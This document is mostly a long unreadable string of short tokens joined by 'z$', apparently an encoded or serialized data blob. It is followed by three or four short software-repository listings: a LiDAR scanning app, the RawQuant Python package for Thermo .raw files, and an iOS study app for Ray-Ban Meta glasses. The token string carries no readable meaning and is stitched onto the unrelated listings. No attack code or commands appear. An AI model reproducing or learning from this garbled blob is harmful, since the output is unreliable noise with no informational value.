z$bz$cz$DCz$UDz$qCz$dDz$Qz$z$bz$z$tCz$uCz$vCz$wCz$XGz$yCz$ADz$BDz$hMz$AEz$z$EDz$iMz$jMz$kMz$bGz$z$IDz$z$Zz$az$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$lMz$mMz$dGz$eGz$z$IDz$z$Zz$az$z$bz$z$FEz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$PMz$nMz$oMz$DEz$EEz$z$bz$z$GEz$HEz$IEz$JEz$KEz$LEz$MEz$pMz$qMz$rMz$sMz$tMz$uMz$vMz$jGz$z$wMz$tMz$uMz$xMz$z$yMz$ANz$BNz$CNz$qDz$z$mDz$DNz$ENz$z$mDz$FNz$GNz$HNz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$INz$z$ZEz$aEz$JNz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$lMz$mMz$kGz$eGz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$SMz$KNz$DEz$EEz$z$bz$z$FEz$z$GEz$HEz$IEz$JEz$KEz$LEz$MEz$LNz$MNz$NNz$ONz$PNz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$aEz$JNz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$lMz$mMz$pGz$eGz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$OLz$uKz$bFz$DHz$Az$EHz$z$bz$z$FEz$z$GEz$HEz$IEz$JEz$KEz$LEz$MEz$PLz$QLz$RLz$SLz$TLz$ULz$VLz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$aEz$JNz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$lMz$mMz$CHz$eGz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$QNz$RNz$DEz$EEz$z$bz$z$FEz$z$GEz$HEz$IEz$JEz$KEz$LEz$MEz$SNz$TNz$UNz$VNz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$aEz$JNz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$lMz$mMz$IHz$eGz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$WMz$NIz$DCz$sCz$z$bz$z$FEz$z$GEz$HEz$IEz$JEz$KEz$LEz$MEz$WNz$XNz$YNz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$aEz$JNz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$lMz$mMz$JHz$eGz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$ZNz$aNz$tGz$uGz$z$bz$z$FEz$z$GEz$HEz$IEz$JEz$KEz$LEz$MEz$bNz$cNz$dNz$YIz$ZIz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$aEz$JNz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$lMz$mMz$RHz$eGz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$DKz$EKz$DEz$EEz$z$bz$z$FEz$z$GEz$HEz$IEz$JEz$KEz$LEz$MEz$FKz$GKz$HKz$IKz$JKz$oEz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$aEz$yz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$lMz$mMz$UHz$eGz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$ZMz$aMz$bMz$cMz$eNz$tGz$uGz$z$bz$z$FEz$z$GEz$HEz$IEz$JEz$KEz$LEz$MEz$fNz$gNz$hNz$iNz$jNz$kNz$UGz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$lNz$mNz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$lMz$mMz$LIz$eGz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$eMz$fMz$gMz$DHz$Az$EHz$z$bz$z$FEz$z$GEz$HEz$IEz$JEz$KEz$LEz$MEz$nNz$oNz$pNz$eMz$fMz$gMz$oEz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$lNz$mNz$z$mDz$nDz$oDz$pDz$qDz$z$pEz$z$mDz$nDz$oDz$pDz$qDz$z$qEz$z$rDz$sDz$rEz$mLz$vDz$z$IDz$z$Zz$az$z$bz$cz$dz$ez$sEz$AMz$qNz$rNz$ZKz$sNz$z$bz$cz$dz$ez$yEz$tNz$uNz$vNz$wNz$xNz$z$bz$cz$dz$ez$FFz$yNz$AOz$BOz$mKz$COz$z$bz$z$bz$cz$vBz$wBz$xBz$yBz$ACz$BCz$yBz$CCz$z$bz$cz$DCz$UDz$FCz$DOz$Qz$z$bz$cz$DCz$UDz$HCz$EOz$FOz$z$bz$cz$DCz$cDz$qCz$dDz$eDz$z$bz$cz$DCz$sCz$z$tCz$uCz$vCz$wCz$XGz$yCz$ADz$BDz$GOz$HOz$hEz$z$EDz$IOz$JOz$KOz$HDz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$DOz$DHz$Az$EHz$z$bz$z$FEz$z$GEz$HEz$IEz$JEz$KEz$LEz$MEz$bNz$cNz$LOz$MOz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$aEz$JNz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$SCz$TCz$cEz$vDz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$EOz$NOz$DEz$EEz$z$bz$z$FEz$z$GEz$HEz$IEz$JEz$KEz$LEz$MEz$OOz$POz$QOz$ROz$SOz$cIz$gEz$hEz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$aEz$JNz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$SCz$TCz$TOz$vDz$z$IDz$z$Zz$az$z$mDz$nDz$oDz$pDz$qDz$z$pEz$z$mDz$nDz$oDz$pDz$qDz$z$qEz$z$rDz$sDz$rEz$rLz$vDz$z$IDz$z$Zz$az$z$bz$cz$dz$ez$yLz$tEz$wEz$UOz$AMz$qNz$VOz$WOz$XOz$tEz$YOz$ZOz$Qz$z$bz$cz$dz$ez$EMz$FMz$aOz$bOz$tNz$uNz$fKz$cOz$dOz$eOz$fOz$gOz$Qz$z$bz$cz$dz$ez$KMz$hOz$iOz$jOz$yNz$AOz$kOz$lOz$mOz$hOz$nOz$mKz$Qz$z$bz$z$bz$cz$vBz$wBz$xBz$yBz$ACz$BCz$yBz$CCz$z$bz$cz$DCz$UDz$FCz$oOz$pOz$qOz$PGz$z$bz$cz$DCz$UDz$HCz$rOz$sOz$z$bz$cz$DCz$UDz$KCz$tOz$uOz$vOz$z$bz$cz$DCz$UDz$OCz$wOz$tOz$Qz$z$bz$cz$DCz$UDz$RCz$xOz$yOz$APz$z$bz$cz$DCz$UDz$UCz$tOz$BPz$z$bz$cz$DCz$UDz$YCz$CPz$YDz$z$bz$cz$DCz$UDz$cCz$DPz$EPz$lFz$YDz$z$bz$cz$DCz$UDz$hCz$FPz$GPz$z$bz$cz$DCz$UDz$kCz$HPz$IPz$Qz$z$bz$cz$DCz$UDz$jFz$JPz$tOz$Qz$z$bz$cz$DCz$UDz$qCz$eMz$Qz$z$bz$cz$DCz$sCz$z$tCz$uCz$vCz$wCz$XGz$yCz$ADz$BDz$KPz$iDz$z$EDz$iMz$LPz$HDz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$MPz$pOz$NPz$OPz$PPz$DHz$Az$EHz$z$FEz$z$GEz$HEz$IEz$JEz$KEz$LEz$MEz$GBz$QPz$RPz$LLz$vz$SPz$TPz$UPz$VPz$hEz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$aEz$JNz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$WPz$cEz$vDz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$rOz$XPz$DCz$sCz$z$bz$z$KJz$XHz$YHz$YPz$ZPz$z$bz$cz$vBz$z$tCz$uCz$SEz$sJz$tJz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$WPz$iEz$vDz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$tOz$aPz$bPz$tGz$uGz$z$bz$z$FEz$z$GEz$HEz$IEz$JEz$KEz$LEz$MEz$nIz$oIz$pIz$qIz$cPz$dPz$jLz$oEz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$aEz$yz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$WPz$WLz$vDz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$wOz$tOz$DHz$Az$EHz$z$bz$z$FEz$z$GEz$HEz$IEz$JEz$KEz$LEz$MEz$AJz$BJz$ePz$fPz$qDz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$aEz$yz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$WPz$mLz$vDz$z$IDz$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$xOz$yOz$gPz$DCz$sCz$z$bz$z$FEz$z$WHz$XHz$YHz$ZHz$aHz$z$cHz$dHz$eHz$PJz$QJz$iDz$z$GEz$HEz$IEz$JEz$KEz$LEz$MEz$hPz$iPz$jPz$kPz$lPz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$aEz$yz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$WPz$rLz$vDz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$tOz$mPz$tGz$uGz$z$bz$z$FEz$z$GEz$HEz$IEz$JEz$KEz$LEz$MEz$nPz$oPz$pPz$tOz$qPz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$aEz$yz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$WPz$RHz$eGz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$CPz$dEz$DEz$EEz$z$bz$z$FEz$z$GEz$HEz$IEz$JEz$KEz$LEz$MEz$rPz$sPz$CPz$iGz$jGz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$aEz$yz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$WPz$tPz$vDz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$DPz$EPz$lFz$dEz$DEz$EEz$z$bz$z$FEz$z$GEz$HEz$IEz$JEz$KEz$LEz$MEz$uPz$vPz$wPz$DPz$EPz$lFz$iGz$jGz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$aEz$yz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$WPz$xPz$vDz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$yPz$yIz$DEz$EEz$z$bz$z$FEz$z$GEz$HEz$IEz$JEz$KEz$LEz$MEz$AQz$BQz$CQz$DQz$FPz$EQz$jGz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$aEz$yz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$WPz$uDz$bGz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$FQz$GQz$tGz$uGz$z$bz$z$FEz$z$GEz$HEz$IEz$JEz$KEz$LEz$MEz$bNz$cNz$HQz$IQz$JQz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$aEz$yz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$WPz$uDz$KQz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$LQz$MQz$tGz$uGz$z$bz$z$FEz$z$GEz$HEz$IEz$JEz$KEz$LEz$MEz$FKz$GKz$HKz$NQz$OQz$PQz$hEz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$aEz$yz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$WPz$TOz$vDz$z$IDz$z$Zz$az$z$mDz$nDz$oDz$pDz$qDz$z$pEz$z$mDz$nDz$oDz$pDz$qDz$z$qEz$z$rDz$sDz$rEz$QQz$vDz$z$IDz$z$Zz$az$z$bz$cz$dz$ez$JDz$tEz$RQz$CMz$SQz$TQz$tEz$DMz$z$bz$cz$dz$ez$UQz$VQz$WQz$XQz$YQz$ZQz$aQz$bQz$z$bz$cz$dz$ez$cQz$GFz$dQz$NMz$eQz$fQz$gQz$hQz$z$bz$z$bz$cz$vBz$wBz$xBz$yBz$ACz$BCz$yBz$CCz$z$bz$cz$DCz$UDz$FCz$iQz$jQz$kQz$z$bz$cz$DCz$UDz$HCz$lQz$mQz$z$bz$cz$DCz$UDz$KCz$nQz$oQz$z$bz$cz$DCz$UDz$qCz$dDz$Qz$z$bz$cz$DCz$sCz$z$tCz$uCz$vCz$wCz$XGz$yCz$ADz$BDz$pQz$hEz$z$EDz$qQz$rQz$HDz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$iQz$jQz$sQz$tGz$uGz$z$bz$z$FEz$z$GEz$HEz$IEz$JEz$KEz$LEz$MEz$tQz$uQz$vQz$wQz$xQz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$aEz$yz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$yQz$cEz$vDz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$lQz$ARz$DEz$EEz$z$bz$z$FEz$z$GEz$HEz$IEz$JEz$KEz$LEz$MEz$BRz$CRz$DRz$ERz$FRz$GRz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$aEz$yz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$yQz$iEz$vDz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$nQz$HRz$DEz$EEz$z$bz$z$FEz$z$WHz$XHz$YHz$ZLz$aLz$z$ZLz$bLz$cLz$dLz$oEz$IRz$JRz$KRz$LRz$MRz$NRz$ORz$PRz$QRz$RRz$SRz$jLz$DRz$ERz$TRz$URz$VRz$z$mDz$WRz$ERz$TRz$URz$VRz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$FEz$z$ZEz$aEz$yz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$yQz$TOz$vDz$z$IDz$z$Zz$az$z$mDz$nDz$oDz$pDz$qDz$z$pEz$z$mDz$nDz$oDz$pDz$qDz$z$qEz$z$rDz$sDz$rEz$tPz$vDz$z$IDz$z$Zz$az$z$bz$cz$dz$ez$yLz$tEz$qNz$XOz$AMz$XRz$YRz$ZRz$aRz$UOz$bRz$z$bz$cz$dz$ez$cRz$dRz$eRz$fRz$AFz$gRz$hRz$iRz$jRz$kRz$lRz$z$bz$cz$dz$ez$mRz$nRz$oRz$pRz$yNz$qRz$rRz$sRz$tRz$uRz$vRz$z$bz$z$bz$cz$vBz$wBz$xBz$yBz$ACz$BCz$yBz$CCz$z$bz$cz$DCz$UDz$FCz$wRz$xRz$bDz$z$bz$cz$DCz$UDz$HCz$dCz$yRz$ASz$Qz$z$bz$cz$DCz$UDz$KCz$BSz$CSz$Qz$z$bz$cz$DCz$UDz$OCz$DSz$ESz$z$bz$cz$DCz$UDz$qCz$dDz$Qz$z$bz$cz$DCz$sCz$z$tCz$uCz$vCz$wCz$XGz$yCz$ADz$BDz$FSz$GSz$z$EDz$HSz$ISz$dGz$eGz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$wRz$xRz$jEz$DCz$sCz$z$bz$z$FEz$z$GEz$HEz$IEz$JEz$KEz$LEz$MEz$JSz$KSz$wRz$xRz$iDz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$aEz$yz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$LSz$MSz$NSz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$dCz$yRz$ASz$DHz$OSz$z$bz$z$FEz$z$GEz$HEz$IEz$JEz$KEz$LEz$MEz$PSz$QSz$RSz$SSz$TSz$USz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$aEz$yz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$LSz$MSz$VSz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$BSz$CSz$DHz$Az$EHz$z$bz$z$FEz$z$GEz$HEz$IEz$JEz$KEz$LEz$MEz$WSz$XSz$YSz$ZSz$aSz$RKz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$aEz$yz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$LSz$MSz$bSz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$DSz$cSz$DEz$EEz$z$bz$z$FEz$z$GEz$HEz$IEz$JEz$KEz$LEz$MEz$dSz$eSz$fSz$gSz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$aEz$yz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$LSz$MSz$bGz$z$IDz$z$Zz$az$z$mDz$nDz$oDz$pDz$qDz$z$pEz$z$mDz$nDz$oDz$pDz$qDz$z$qEz$z$rDz$sDz$rEz$xPz$vDz$z$IDz$z$Zz$az$z$bz$cz$dz$ez$yLz$hSz$iSz$jSz$kSz$TQz$AMz$lSz$mSz$z$bz$cz$dz$ez$nSz$oSz$pSz$qSz$rSz$HMz$VQz$sSz$mSz$z$bz$cz$dz$ez$mRz$tSz$JFz$uSz$vSz$wSz$yNz$iOz$xSz$z$bz$z$bz$cz$vBz$wBz$xBz$yBz$ACz$BCz$yBz$CCz$z$bz$cz$DCz$UDz$FCz$ySz$APz$z$bz$cz$DCz$UDz$HCz$ATz$BTz$CTz$YDz$z$bz$cz$DCz$UDz$KCz$iQz$jQz$DTz$ETz$z$bz$cz$DCz$UDz$OCz$mz$FTz$Qz$z$bz$cz$DCz$UDz$RCz$GTz$HTz$ITz$z$bz$cz$DCz$UDz$UCz$JTz$KTz$LTz$z$bz$cz$DCz$UDz$YCz$MTz$NTz$OTz$PTz$QTz$RTz$z$bz$cz$DCz$UDz$cCz$STz$TTz$z$bz$cz$DCz$UDz$hCz$UTz$VTz$z$bz$cz$DCz$UDz$qCz$dDz$Qz$z$bz$cz$DCz$sCz$z$tCz$uCz$vCz$wCz$XGz$yCz$ADz$BDz$WTz$XTz$z$EDz$YTz$ZTz$dGz$eGz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$ySz$gPz$DCz$sCz$z$bz$z$FEz$z$GEz$HEz$IEz$JEz$KEz$LEz$MEz$aTz$bTz$cTz$dTz$eTz$fTz$hEz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$aEz$yz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$gTz$hTz$NSz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$iTz$jTz$kTz$lTz$mTz$tGz$uGz$z$bz$z$FEz$z$GEz$HEz$IEz$JEz$KEz$LEz$MEz$nTz$oTz$iTz$jTz$kTz$lTz$pTz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$aEz$yz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$gTz$hTz$VSz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$iQz$jQz$DTz$qTz$rTz$sTz$tTz$tGz$uGz$z$bz$z$FEz$z$GEz$HEz$IEz$JEz$KEz$LEz$MEz$uTz$vTz$wTz$iQz$jQz$DTz$qTz$rTz$sTz$xTz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$aEz$yz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$gTz$hTz$bSz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$mz$FTz$DHz$Az$EHz$z$bz$z$FEz$z$GEz$HEz$IEz$JEz$KEz$LEz$MEz$AJz$BJz$yTz$wLz$AUz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$aEz$yz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$gTz$hTz$BUz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$GTz$HTz$CUz$DEz$EEz$z$bz$z$FEz$z$GEz$HEz$IEz$JEz$KEz$LEz$MEz$NEz$OEz$PEz$DUz$EUz$FUz$RKz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$aEz$yz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$gTz$hTz$GUz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$JTz$KTz$HUz$tGz$uGz$z$bz$z$FEz$z$GEz$HEz$IEz$JEz$KEz$LEz$MEz$FKz$GKz$HKz$IUz$JUz$KUz$LUz$hEz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$aEz$yz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$gTz$hTz$MUz$z$IDz$z$Zz$az$z$bz$cz$vBz$wDz$xDz$xOz$aSz$BEz$NUz$tGz$uGz$z$WHz$XHz$YHz$GEz$OUz$z$bz$cz$vBz$PUz$QUz$xOz$YHz$RUz$DHz$Az$EHz$z$bz$z$bz$cz$vBz$wDz$xDz$xOz$aSz$BEz$ZHz$SUz$TUz$DHz$Az$EHz$z$WHz$XHz$YHz$ZHz$UUz$eJz$z$WHz$XHz$YHz$ZHz$LJz$OUz$z$WHz$XHz$YHz$ZHz$VUz$OUz$z$bz$cz$vBz$PUz$QUz$xOz$YHz$WUz$XUz$tGz$uGz$z$bz$z$bz$cz$vBz$wDz$xDz$xOz$aSz$BEz$YUz$ZUz$DEz$EEz$z$WHz$XHz$YHz$YUz$aUz$eJz$z$bz$cz$vBz$PUz$QUz$xOz$YHz$bUz$cUz$tGz$uGz$z$bz$z$bz$cz$vBz$PUz$QUz$xOz$YHz$dUz$eUz$ZLz$DHz$Az$EHz$z$WHz$XHz$YHz$fUz$aLz$z$WHz$XHz$YHz$ZLz$aLz$z$bz$cz$vBz$PUz$QUz$xOz$YHz$dUz$eUz$ZLz$DHz$Az$EHz$z$bz$z$bz$cz$vBz$wDz$xDz$xOz$aSz$BEz$gUz$DHz$Az$EHz$z$WHz$XHz$YHz$gUz$aLz$z$bz$cz$vBz$PUz$QUz$xOz$YHz$hUz$iUz$DCz$sCz$z$bz$z$bz$cz$vBz$wDz$xDz$xOz$aSz$BEz$jUz$tGz$uGz$z$WHz$XHz$YHz$kUz$OUz$z$bz$cz$vBz$PUz$QUz$xOz$YHz$lUz$DHz$Az$EHz$z$bz$z$bz$cz$vBz$wDz$xDz$xOz$aSz$BEz$mUz$ZUz$DEz$EEz$z$WHz$XHz$YHz$mUz$aUz$eJz$z$bz$cz$vBz$PUz$QUz$xOz$YHz$nUz$cUz$tGz$uGz$z$bz$z$bz$cz$vBz$wDz$xDz$xOz$aSz$BEz$oUz$pUz$qUz$rUz$sUz$DEz$EEz$z$WHz$XHz$YHz$tUz$aLz$z$WHz$XHz$YHz$oUz$uUz$z$WHz$XHz$YHz$qUz$OUz$z$bz$cz$vBz$PUz$QUz$xOz$YHz$vUz$wUz$xUz$yUz$AVz$tGz$uGz$z$bz$z$bz$cz$vBz$wDz$xDz$xOz$aSz$BEz$bHz$DHz$Az$EHz$z$WHz$XHz$YHz$bHz$aLz$z$bz$cz$vBz$PUz$QUz$xOz$YHz$BVz$CVz$DCz$sCz$z$KJz$DVz$EVz$eJz$z$KJz$FVz$GVz$OUz$z$bz$cz$vBz$z$tCz$uCz$HVz$IVz$JVz$KVz$LVz$MVz$NVz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$gTz$OVz$PVz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$xOz$aSz$BEz$STz$QVz$DCz$sCz$z$bz$z$FEz$z$GEz$HEz$IEz$JEz$KEz$LEz$MEz$RVz$SVz$TVz$UVz$VVz$jGz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$aEz$yz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$gTz$hTz$WVz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$UTz$XVz$DCz$sCz$z$bz$z$FEz$z$GEz$HEz$IEz$JEz$KEz$LEz$MEz$YVz$ZVz$UTz$aVz$hEz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$aEz$yz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$gTz$hTz$bGz$z$IDz$z$Zz$az$z$mDz$nDz$oDz$pDz$qDz$z$pEz$z$mDz$nDz$oDz$pDz$qDz$z$qEz$z$rDz$sDz$rEz$uDz$bGz$z$IDz$z$Zz$az$z$bz$cz$DCz$sCz$z$bz$bVz$cVz$dVz$eVz$fVz$gVz$hVz$iVz$jVz$z$bz$kVz$lVz$mVz$nVz$oVz$pVz$qVz$rVz$sVz$z$bz$tVz$uVz$vVz$vSz$wVz$xVz$yVz$AWz$BWz$z$bz$z$bz$CWz$DWz$EWz$FWz$GWz$HWz$IWz$JWz$z$bz$CWz$KWz$EWz$LWz$MWz$NWz$OWz$z$bz$CWz$PWz$QWz$RWz$SWz$TWz$Qz$z$bz$CWz$UWz$VWz$WWz$XWz$Qz$z$bz$CWz$YWz$ZWz$aWz$bWz$cWz$dWz$eWz$fWz$gWz$cIz$jCz$z$bz$hWz$iWz$iWz$jWz$iWz$iWz$iWz$Qz$z$bz$kWz$xOz$lWz$mWz$nWz$yz$oWz$z$bz$kWz$pWz$qWz$rWz$sWz$cIz$tWz$z$bz$kWz$uWz$vWz$wWz$xWz$yWz$AXz$z$bz$kWz$oOz$pOz$BXz$CXz$QIz$DXz$EXz$z$bz$kWz$FXz$GXz$mHz$HXz$IXz$aEz$JNz$oWz$z$bz$cz$vBz$z$tCz$uCz$JXz$KXz$LXz$MXz$eMz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$rEz$TOz$vDz$z$IDz$z$bz$z$bz$cz$vBz$NXz$yBz$yBz$yBz$yBz$yBz$yBz$yBz$yBz$OXz$z$bz$cz$DCz$PXz$kz$kz$QXz$RXz$SXz$kz$kz$kz$kz$Qz$z$bz$cz$vBz$NXz$yBz$yBz$yBz$yBz$yBz$yBz$yBz$yBz$OXz$z$rCz$z$pEz$z$mDz$nDz$oDz$pDz$qDz$z$qEz
beatTheSystem42
Scan with the LiDAR sensor and render with Metal, then create a custom SCNGeometry and texture it with the saved camera frames
kevinkovalchik
RawQuant is a Python package for extracting scan meta data and quantification values from Thermo .raw files.
Alphonso84
iOS app that turns Ray-Ban Meta smart glasses into a hands-free study tool. Scan documents, extract text with OCR, generate AI summaries with Apple Foundation Models (Apple's On-Device AI) or online LLM models and organize content into decks with flashcards and quizzes. Built with SwiftUI, SwiftData, Vision, PDFKit, and Meta Wearables SDK.
arghyasur1991
